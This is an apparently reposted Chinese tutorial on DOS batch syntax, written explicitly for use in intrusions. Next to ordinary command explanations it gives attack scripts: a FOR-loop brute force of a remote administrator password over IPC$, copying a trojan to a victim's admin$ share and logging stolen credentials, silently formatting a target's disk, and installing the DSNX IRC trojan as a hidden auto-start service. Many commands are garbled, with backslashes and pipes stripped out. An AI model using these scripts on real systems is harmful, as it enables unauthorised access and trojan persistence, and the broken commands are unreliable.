zoukankan      html  css  js  c++  java
  • Dos批处理语法(百度文库)

      

     

    批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。   

    .简单批处理内部命令简介   

      1.Echo 命令   

      打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。   

      语法   

      echo [{on off}] [message]   

      Sample:@echo off / echo hello world   

      在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。   

      2.@ 命令   

      表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。   

      Sample:@echo off   

      @echo Now initializing the program,please wait a minite...   

      @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)   

      3.Goto 命令   

      指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。   

      语法:goto label (label是参数,指定所要转向的批处理程序中的行。)   

      Sample:   

      if {%1}=={} goto noparms   

      if {%2}=={} goto noparms(如果这里的if%1%2你不明白的话,先跳过去,后面会有详细的解释。)   

     

     

     

      @Rem check parameters if null show usage   

      :noparms   

      echo Usage: monitor.bat ServerIP PortNumber   

      goto end   

      标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。   

      4.Rem 命令   

      注释命令,C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。   

        Rem Message   

      Sample:@Rem Here is the description.   

      5.Pause 命令   

      运行 Pause 命令时,将显示下面的消息:   

      Press any key to continue . . .   

      Sample:   

     

     

     

      @echo off   

      :begin   

      copy a:*.* d:back   

      echo Please put a new disk into driver A   

      pause   

      goto begin   

      在这个例子中,驱动器 中磁盘上的所有文件均复制到d:back中。显示的注释提示您将另一张磁盘放入驱动器 ,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。  

      6.Call 命令   

      从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。   

      语法   

      call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]   

      参数   

      [Drive:}[Path] FileName   

      指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。   

      7.start 命令   

      调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。   

      入侵常用参数:   

        MIN 开始时窗口最小化   

      SEPARATE 在分开的空间内开始 16 位 Windows 程序   

      HIGH 在 HIGH 优先级类别开始应用程序   

      REALTIME 在 REALTIME 优先级类别开始应用程序   

      WAIT 启动应用程序并等候它结束   

      parameters 这些为传送到命令/程序的参数   

      执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。   

      8.choice 命令   

      choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……   

      如: choice /c:dme defrag,mem,end   

      将显示   

      defrag,mem,end[D,M,E]?   

      Sample:   

      Sample.bat的内容如下:   

      @echo off   

        choice /c:dme defrag,mem,end   

      if errorlevel 3 goto defrag (应先判断数值最高的错误码)   

      if errorlevel 2 goto mem   

      if errotlevel 1 goto end   

      :defrag   

      c:dosdefrag   

      goto end   

      :mem   

      mem   

      goto end   

      :end   

      echo good bye   

      此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。   

      9.If 命令   

      if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:   

      1if '参数' == '字符串 待执行的命令   

      参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)   

      如if '%1'=='a' format a:   

      if {%1}=={} goto noparms   

      if {%2}=={} goto noparms   

      2if exist 文件名  待执行的命令   

      如果有指定的文件,则条件成立,运行命令,否则运行下一句。   

      如if exist config.sys edit config.sys   

      3if errorlevel / if not errorlevel 数字  待执行的命令   

      如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。   

      如if errorlevel 2 goto x2     

      DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为01。   

      10.for 命令   

      for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。   

      在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable   

      for {%variable %%variable} in (set) do command [ CommandLineOptions]   

      %variable 指定一个单一字母可替换的参数。   

      (set) 指定一个或一组文件。可以使用通配符。   

      command 指定对每个文件执行的命令。   

      command-parameters 为特定命令指定参数或命令行开关。   

      在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable   

      而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I   

      如果命令扩展名被启用,下列额外的 FOR 命令格式会受到   

      支持:   

      FOR /D %variable IN (set) DO command [command-parameters]   

      如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。   

      FOR /R [[drive:]path] %variable IN (set) DO command [command-   

      检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。   

      FOR /L %variable IN (start,step,end) DO command [command-para   

      该集表示以增量形式从开始到结束的一个数字序列。   

      因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生   

      序列 (5 4 3 2 1)。   

      FOR /F ['options'] %variable IN (file-set) DO command   

      FOR /F ['options'] %variable IN ('string') DO command   

      FOR /F ['options'] %variable IN (command) DO command   

      或者,如果有 usebackq 选项:   

      FOR /F ['options'] %variable IN (file-set) DO command   

      FOR /F ['options'] %variable IN ('string') DO command   

      FOR /F ['options'] %variable IN (command) DO command   

      filenameset 为一个或多个文件名。继续到 filenameset 中的   

      下一个文件之前,每份文件都已被打开、读取并经过处理。   

      处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 'options' 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:   

      eol=c - 指一个行注释字符的结尾(就一个)   

      skip=n - 指在文件开始时忽略的行数。   

      delims=xxx - 指分隔符集。这个替换了空格和跳格键的   

      默认分隔符集。   

      tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。   

      usebackq - 指定新语法已在下类情况中使用:   

      在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。   

      sample1:   

      FOR /F 'eol=; tokens=2,3* delims=, ' %i in (myfile.txt) do command   

      会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。   

      %i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 的变量。请记住,FOR 变量是单一字母、分大小写和全局的同时不能有 52 个以上都在使用中。   

      您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。   

      最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:   

      FOR /F 'usebackq delims==' %i IN (`set`) DO @echo %i   

      会枚举当前环境中的环境变量名称。   

      另外,FOR 变量参照的替换已被增强。您现在可以使用下列   

      选项语法:   

      ~I - 删除任何引号('),扩充 %I   

      %~fI - 将 %I 扩充到一个完全合格的路径名   

      %~dI - 仅将 %I 扩充到一个驱动器号   

      %~pI - 仅将 %I 扩充到一个路径   

      %~nI - 仅将 %I 扩充到一个文件名   

      %~xI - 仅将 %I 扩充到一个文件扩展名   

      %~sI - 扩充的路径只含有短名   

      %~aI - 将 %I 扩充到文件的文件属性   

      %~tI - 将 %I 扩充到文件的日期/时间   

      %~zI - 将 %I 扩充到文件的大小   

      %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串   

      可以组合修饰符来得到多重结果:   

      %~dpI - 仅将 %I 扩充到一个驱动器号和路径   

      %~nxI - 仅将 %I 扩充到一个文件名和扩展名   

      %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名   

      %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。   

      %~ftzaI - 将 %I 扩充到类似输出线路的 DIR   

      在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法   

      用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。   

      以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。   

      sample2:   

      利用For命令来实现对一台目标Win2k主机的暴力密码破解。   

      我们用net use \ipipc$ 'password' /u:'administrator'来尝试这和目标主机进行连接,当成功时记下密码。   

      最主要的命令是一条:for /f i% in (dict.txt) do net use \ipipc$ 'i%' /u:'administrator'   

      用i%来表示admin的密码,dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--   

      for /f i%% in (dict.txt) do net use \ipipc$ 'i%%' /u:'administrator' find ':命令成功完成'>>D:ok.txt ,这样就ko了。   

    .如何在批处理文件中使用参数   

      批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。   

      sample1:fomat.bat   

       @echo off   

      if '%1'=='a' format a:   

      :format   

      @format a:/q/u/auotset   

      @echo please insert another disk to driver A.   

      @pause   

      @goto fomat   

     

     

     

      这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^   

      sample2:   

      当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。   

      @echo off   

      @net use \1%ipc$ '2%' /u:'3%' 注意哦,这里PASSWORD是第二个参数。   

      @if errorlevel 1 echo connection failed   

     

     

     

      怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3   

      三.如何使用组合命令(Compound Command)   

      1.&   

      Usage:第一条命令 第二条命令 [& 第三条命令...]   

      用这种方法可以同时执行多条命令,而不管命令是否执行成功   

      Sample:   

      C:>dir z: & dir c:Ex4rch   

      The system cannot find the path specified.   

      Volume in drive C has no label.   

      Volume Serial Number is 0078-59FB   

      Directory of c:Ex4rch   

      2002-05-14 23:51   

           2002-05-14 23:51 ..   

      2002-05-14 23:51   

           14 sometips.gif   

     

     

     

    3. Usage:第一条命令    第二条命令 [   第三条命令...]   

      用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;   

      Sample:   

      C:Ex4rch>dir sometips.gif    del sometips.gif   

      Volume in drive C has no label.   

      Volume Serial Number is 0078-59FB   

      Directory of C:Ex4rch   

      2002-05-14 23:55 14 sometips.gif   

      1 File(s) 14 bytes   

      0 Dir(s) 768,696,320 bytes free   

      组合命令使用的例子:   

      sample:   

      @copy trojan.exe \%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt   

      四、管道命令的使用   

      1.  命令   

      Usage:第一条命令   第二条命令 [  第三条命令...]   

      将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。   

      sample:   

      time /t>>D:IP.log   

      netstat -n -p tcp find ':3389'>>D:IP.log   

      start Explorer   

      看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。   

      2.>>>输出重定向命令   

      将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,>>只会追加内容到指定文件中,而不会改动其中的内容。   

      sample1:   

      echo hello world>c:hello.txt (stupid example?)   

      sample2:   

      时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXEDLL文件作一个记录:   

      运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,   

      这样所有的EXEDLL文件的名称都被分别记录到exeback.txtdllback.txt,   

      日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.   

      这时我们用同样的命令将system32下的EXEDLL文件记录到另外的exeback1.txtdllback1.txt,然后运行:   

      CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(FC命令比较前后两次的DLLEXE文件,并将结果输入到diff.txt),这样我们就能发现一些多出来的DLLEXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。   

    3.< >& < &   

      从文件中而不是从键盘中读入命令输入。   

      >& 将一个句柄的输出写入到另一个句柄的输入中。   

      < & 从一个句柄读取输入并将其写入到另一个句柄输出中。   

      这些并不常用,也就不多做介绍。   

      No.5   

    .如何用批处理文件来操作注册表   

      在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)   

      关于注册表的操作,常见的是创建、修改、删除。   

      1.创建   

      创建分为两种,一种是创建子项(Subkey)   

      我们创建一个文件,内容如下:   

      Windows Registry Editor Version 5.00   

      [HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]   

      然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。   

      另一种是创建一个项目名称   

      那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:   

      Windows Registry Editor Version 5.00   

      [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion

        Run]'Invader'='Ex4rch'   

      'Door'=C:\WINNT\system32\door.exe   

      'Autodos'=dword:02   

      这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

         CurrentVersionRun]下   

      新建了:Invaderdoorabout这三个项目   

      Invader的类型是“String Value”   

      door的类型是“REG SZ Value”   

      Autodos的类型是“DWORD Value”   

      2.修改   

      修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。   

      3.删除   

      我们首先来说说删除一个项目名称,我们创建一个如下的文件:   

      Windows Registry Editor Version 5.00   

      [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

        CurrentVersionRun]   

      'Ex4rch'=-   

      执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

         CurrentVersionRun]下的'Ex4rch'就被删除了;   

      我们再看看删除一个子项,我们创建一个如下的脚本:   

      Windows Registry Editor Version 5.00   

      [-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

        CurrentVersionRun]   

      执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

        CurrentVersionRun]就已经被删除了。   

      相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定

         内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。  

    samlpe1:如上面的那个例子,如想生成如下注册表文件   

      Windows Registry Editor Version 5.00   

      [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

        CurrentVersionRun]   

      'Invader'='Ex4rch'   

      'door'=hex:255   

      'Autodos'=dword:000000128   

      只需要这样:   

      @echo Windows Registry Editor Version 5.00>>Sample.reg   

      @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

        CurrentVersionRun]>Sample.reg   

      @echo 'Invader'='Ex4rch'>>Sample.reg   

      @echo 'door'=5>>C:\WINNT\system32\door.exe>>Sample.reg   

      @echo 'Autodos'=dword:02>>Sample.reg   

      samlpe2:   

      我们现在在使用一些比较老的木马时,可能会在注册表的

        [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

        CurrentVersionRun(RunonceRunservicesRunexec)]

        下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,

        相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)   

      @start windrv32.exe   

      @attrib +h +r windrv32.exe   

      @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

         CurrentVersionRun] >>patch.dll   

      @echo 'windsnx '=- >>patch.dll   

      @sc.exe create Windriversrv type= kernel start= auto 

        displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe   

      @regedit /s patch.dll   

      @delete patch.dll   

      @REM [删除DSNXDE在注册表中的启动项,sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,config为自启动]   

      @REM 这样不是更安全^_^.   

      六.精彩实例放送。   

      1.删除win2k/xp系统默认共享的批处理   

      ----- cut here then save as .bat or .cmd file ---------   

      @echo preparing to delete all the default shares.when ready pres any key.   

      @pause   

      @echo off   

      :Rem check parameters if null show usage.   

      if {%1}=={} goto :Usage   

      :Rem code start.   

      echo.   

      echo ------------------------------------------------------   

      echo.   

      echo Now deleting all the default shares.   

      echo.   

      net share %1$ /delete   

      net share %2$ /delete   

      net share %3$ /delete   

      net share %4$ /delete   

      net share %5$ /delete   

      net share %6$ /delete   

      net share %7$ /delete   

      net share %8$ /delete   

      net share %9$ /delete   

      net stop Server   

      net start Server   

      echo.   

      echo All the shares have been deleteed   

      echo.   

      echo ------------------------------------------------------   

      echo.   

      echo Now modify the registry to change the system default properties.   

      echo.   

      echo Now creating the registry file   

      echo Windows Registry Editor Version 5.00> c:delshare.reg   

      echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserver

        parameters]>> c:delshare.reg   

      echo 'AutoShareWks'=dword:00000000>> c:delshare.reg   

      echo 'AutoShareServer'=dword:00000000>> c:delshare.reg   

      echo Nowing using the registry file to chang the system default properties.   

      regedit /s c:delshare.reg   

      echo Deleting the temprotarily files.   

      del c:delshare.reg   

      goto :END   

      :Usage   

      echo.   

      echo ------------------------------------------------------   

      echo.   

      echo ☆ A example for batch file ☆   

      echo ☆ [Use batch file to change the sysytem share properties.] ☆   

      echo.   

      echo Author:Ex4rch   

      echo Mail:Ex4rch@hotmail.com QQ:1672602   

      echo.   

      echo Error:Not enough parameters   

      echo.   

      echo ☆ Please enter the share disk you wanna delete ☆   

      echo.   

      echo For instance,to delete the default shares:   

      echo delshare c d e ipc admin print   

      echo.   

      echo If the disklable is not as C: D: E: ,Please chang it youself.   

      echo.   

      echo example:   

      echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :   

      echo delshare c d e x y z ipc admin print   

      echo.   

      echo *** you can delete nine shares once in a useing ***   

      echo.   

      echo ------------------------------------------------------   

      goto :EOF   

      :END   

      echo.   

      echo ------------------------------------------------------   

      echo.   

      echo OK,delshare.bat has deleted all the share you assigned.   

      echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.   

      echo   

      echo.   

      echo ------------------------------------------------------   

      echo.   

      :EOF   

      echo end of the batch file   

     

  • 相关阅读:
    .net core实现的全程序跟踪
    gmap.net
    Spring Cloud实践:降级、限流、滚动、灰度、AB、金丝雀的实现思路
    服务的协作:服务间的消息传递——《微服务设计》读书笔记
    使用消息系统进行微服务间通讯时,如何保证数据一致性
    How to distribute a database among microservices
    微服务间如何选择推送和拉取数据
    Android 怎么使用Bitmap+Canvas 自适应屏幕
    Android 音乐播放器之--错误状态下调用导致的异常
    Android应用截图和SurfaceView截图问题总结
  • 原文地址:https://www.cnblogs.com/dapeng111/p/2816065.html
Copyright © 2011-2022 走看看